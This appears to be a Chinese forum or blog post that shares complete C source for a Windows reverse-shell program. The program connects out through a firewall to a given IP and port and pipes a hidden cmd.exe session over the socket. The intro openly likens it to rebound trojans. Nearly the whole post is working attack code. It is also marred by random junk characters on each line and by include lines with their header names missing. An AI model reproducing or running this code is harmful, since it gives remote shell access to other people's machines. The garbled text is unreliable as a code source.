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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6P';DB  
WD1G&5XP  
/* ============================== ,Jd ',>3  
Rebound port in Windows NT W^s ;Bi+Nw  
By wind,2006/7 )n,P"0  
===============================*/ zA[0mkC?$  
#include  4._( |  
#include J_FNAdQt  
up'Tit  
#pragma comment(lib,"wsock32.lib") x:nKfY5  
vsa92c@T  
void OutputShell(); +Z85HY{  
SOCKET sClient; [o?* "c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p1vp 8p  
bR V+>;L0@  
void main(int argc,char **argv) 5|1 T}Z#;  
{ z Toq^T  
WSADATA stWsaData; l&[;rh  
int nRet; 3\Xbmq8}  
SOCKADDR_IN stSaiClient,stSaiServer; 0Q^Ikiv   
*k19LI.5  
if(argc != 3) hXA6D)   
{ |m2X+s9  
printf("Useage:\n\rRebound DestIP DestPort\n"); DG?"5:Zd  
return; Ps 8%J;  
} G_SG  
s&NX@  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'D @-  
v$N|"o""  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @WI2hHD  
J&T.(  
stSaiClient.sin_family = AF_INET; '{(UW.Awo  
stSaiClient.sin_port = htons(0); 0X^Ke(/89  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;g~TWy^o  
#y%!\1M/:A  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~ {Mn{  
{ pZeE61c/  
printf("Bind Socket Failed!\n"); k68F-e[i^  
return; I6Ce_|n ?k  
} lIProF0  
Jej` ;I  
stSaiServer.sin_family = AF_INET; 0lv %`,  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AGbhJ=tB  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >$ e9igwe  
##4GK08!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'z$Q rFW  
{ 3JVK  
printf("Connect Error!"); 4 M(-xl?  
return; #H0dZ.$b0  
} 65Cg]Dt71  
OutputShell(); R~ZFy0  
} mL4]l(U  
Kh MSL  
void OutputShell() _N@ro  
{ 2"B_At  
char szBuff[1024]; n+PzA[  
SECURITY_ATTRIBUTES stSecurityAttributes; 'z[Sp~I\  
OSVERSIONINFO stOsversionInfo; SGe^ogO"v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g]c6& Y,#  
STARTUPINFO stStartupInfo; {\(L%\sV@  
char *szShell; ?|39u{  
PROCESS_INFORMATION stProcessInformation; 9[^gAR  
unsigned long lBytesRead; |gU(s  
p1|f<SF')  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o9H^?Rut  
nG;8:f`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IEzaK  
stSecurityAttributes.lpSecurityDescriptor = 0; AU$Uxwz4  
stSecurityAttributes.bInheritHandle = TRUE; Cm\6tD  
'CN|'W)g7  
B4mR9HMh  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V,G|k!!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DrO2y  
 ?!`=X>5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); /IM#.v  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,j$Vvz   
stStartupInfo.wShowWindow = SW_HIDE; )'4k|@8|  
stStartupInfo.hStdInput = hReadPipe; #/Eb*2C`b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W]5USFan  
TqddOp  
GetVersionEx(&stOsversionInfo); 6C+"`(u%V  
) lZp9O  
switch(stOsversionInfo.dwPlatformId) ?G -e](]^<  
{ _C`K*u 6Z<  
case 1: Bn(W"=1  
szShell = "command.com"; u6bXv(  
break; YE9,KVV;$n  
default: 0eS)&GdR  
szShell = "cmd.exe"; pb=cBZ$  
break; 7__Q1 > o  
} $]A/ o(  
uECsh2Uin  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Gqy,u3lE  
yfC^x%d7G  
send(sClient,szMsg,77,0); 1hziXC0WY  
while(1) NvvUSyk\;s  
{ ;asP4R=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q J7L7S  
if(lBytesRead) }~Af/  
{ /)>s##p*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B!\;/Vk  
send(sClient,szBuff,lBytesRead,0); 7%{ |  
} *7wAkljP  
else =F;.l@:  
{ .k0~Vh2u  
lBytesRead=recv(sClient,szBuff,1024,0); A21N|$[  
if(lBytesRead<=0) break; YR;^hs?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <E0UK^-}  
} 6O}`i>/6M  
} J|w)&bV  
_z1(y}u}  
return; {Pc<u gfl  
}
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